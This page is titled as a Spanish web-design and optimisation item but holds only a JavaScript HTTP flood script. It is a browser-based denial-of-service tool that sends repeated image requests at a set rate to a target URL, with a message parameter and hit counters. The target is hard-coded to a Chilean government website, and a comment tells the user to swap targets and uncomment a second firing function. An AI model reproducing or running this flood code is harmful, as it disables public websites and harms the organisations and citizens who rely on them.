Diseño Web Master Software Optimizacion

<script>
        (function () {

            var fireInterval;
            var isFiring = false;
        var currentTime = new Date()
        var lastSuccess = currentTime.getTime();

            var requestedCtrNode = document.getElementById("requestedCtr"),
                succeededCtrNode = document.getElementById("succeededCtr"),
                failedCtrNode = document.getElementById("failedCtr"),
                targetURLNode = document.getElementById("targetURL"),
                fireButton = document.getElementById("fireButton"),
                messageNode = document.getElementById("message"),
                rpsNode = document.getElementById("rps"),
                timeoutNode = document.getElementById("timeout");

            var targetURL = targetURLNode.value;
            targetURLNode.onchange = function () {
                targetURL = this.value;
            };

            var requestsHT = {}; // requests hash table, may come in handy later

            var requestedCtr = 0,
                succeededCtr = 0,
                failedCtr = 0;

            var makeHttpRequest = function () {
               
                    if ( (currentTime.getTime()-lastSuccess) > 10000) { //Allow no more than 1000 hung requests
                        return;
                    } else { lastSuccess = currentTime.getTime();};
                   
                    var rID =Number(new Date());
                    var img = new Image();
                    img.onerror = function () { onFail(rID); };
                    img.onabort = function () { onFail(rID); };
                    img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
                   
                    img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
                    requestsHT[rID] = img;
                    onRequest(rID);
                };

            var onRequest = function (rID) {
                    requestedCtr++;
                    requestedCtrNode.innerHTML = requestedCtr;
                };

            var onComplete = function (rID) {
                    delete requestsHT[rID];
                };

            var onFail = function (rID) {
                   // failedCtr++;
                    //failedCtrNode.innerHTML = failedCtr;
                   
                    succeededCtr++; //Seems like the url will always fail it it isn't an image
                    succeededCtrNode.innerHTML = succeededCtr;


                    delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
                };

            var onSuccess = function (rID) {
                    succeededCtr++;
                    succeededCtrNode.innerHTML = succeededCtr;
                    delete requestsHT[rID];
                };

            fireButton.onclick = function () {
                if (isFiring) {
                    clearInterval(fireInterval);

                    isFiring = false;
                    this.innerHTML = "Disparar Otra Vez!";
                } else {
                    isFiring = true;
                    this.innerHTML = "Dejar de Disparar!";

                    fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
                }
            };
            function FireIbero() {
                if (isFiring) {
                    clearInterval(fireInterval);

                    isFiring = false;
                    this.innerHTML = "Disparar Otra Vez!";
                } else {
                    isFiring = true;
                    this.innerHTML = "Stop flooding";

                    fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
                }
            };
//Cambiar Target y descomentar la funcion FireIbero();
document.getElementById("targetURL").value = "http://www.gobiernosantiago.cl/";
        })();
    </script>